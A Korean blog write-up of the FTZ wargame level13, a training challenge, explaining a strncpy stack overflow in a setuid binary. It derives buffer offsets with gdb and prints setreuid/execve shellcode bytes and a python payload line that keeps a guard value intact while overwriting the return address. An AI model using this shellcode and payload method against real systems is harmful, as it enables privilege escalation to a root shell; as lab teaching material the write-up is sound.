FTZ level13 write up

포너블 2020. 3. 16. 22:52

 

hint를 살펴보면 버퍼오버플로우에 취약한 strncpy함수를 사용함을 알 수 있다. 여기서 BOF가 일어남을 알 수 있다.

* - int argc : 메인함수에 전달되는 정보의 개수를 의미 (argument count)

-- char* argv[] : 메인함수에 전달되는 실질적인 정보로, 문자열의 배열을 의미한다. 인덱스가 0인 문자열은 프로그램의 실행경로로 항상 고정되어 있다.

 

코드를 해석해보자면,  

1. i변수에 0x1234567값을 전달한다.

2. 그 후에 buf변수에 1024만큼의 사이즈를 할당해준다

3. level 13의 seturid가 나와있는데

첫번째 if문을 통해, 메인함수로 전달되는 정보가 1개이상이면 buf에 복사하는 것을 알 수 있다.

두번재 if문을 통해 i변수에 지정된 값이 0x1234567이 아니라면 버퍼오버플로우 위험 경고문을 출력하고

프로그램 종료하게 만드는 코드임을 알 수 있다.

 

그러니까 우리는 i값을 바꾸지 않고 ret값을 바꿔야 한다!!!

 

gdb로 attackme 를 분석해보자!!

<main +3> 에서 0x418==1048만큼의 공간을 확보했다.

buf 에서 ebp까지의 거리는 1048byte이다 그러니까,

buf에서 ret까지의 거리 1052(1048byte+4byte)는 이렇다.

 

i에서 ebp까지의 거리는 12 이다.  ==> ebp-12니까. 그니까

i에서 ret까지의 거리는 16

즉, buf에서 i까지의 거리는

[buf에서 ret까지의 거리] - [i에서 ret까지의 거리]를 빼야한다. == 1036

그리고 i변수 끝에서 ret까지의 거리는 (i에서 ret까지의 거리)16-4(i의크기) = 12  이다.

 

쉘코드 : \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

이제 환경변수에 쉘 코드를 등록한 후 주소 값을 얻어온 후 

python -c 'print"A"*1036+"\x67\x45\x23\x01"+"A"*12+[주소값]를 하면 된다

'포너블' 카테고리의 다른 글

FTZ level15 write up  (0) 2020.03.16
FTZ level14 write up  (0) 2020.03.16
FTZ level12 write up  (0) 2020.03.15
JBU CTF - Pwn3 [babybof]  (0) 2020.03.10
JBU CTF - Pwn2 [Segmentation Fault]  (0) 2020.03.10

설정

트랙백

댓글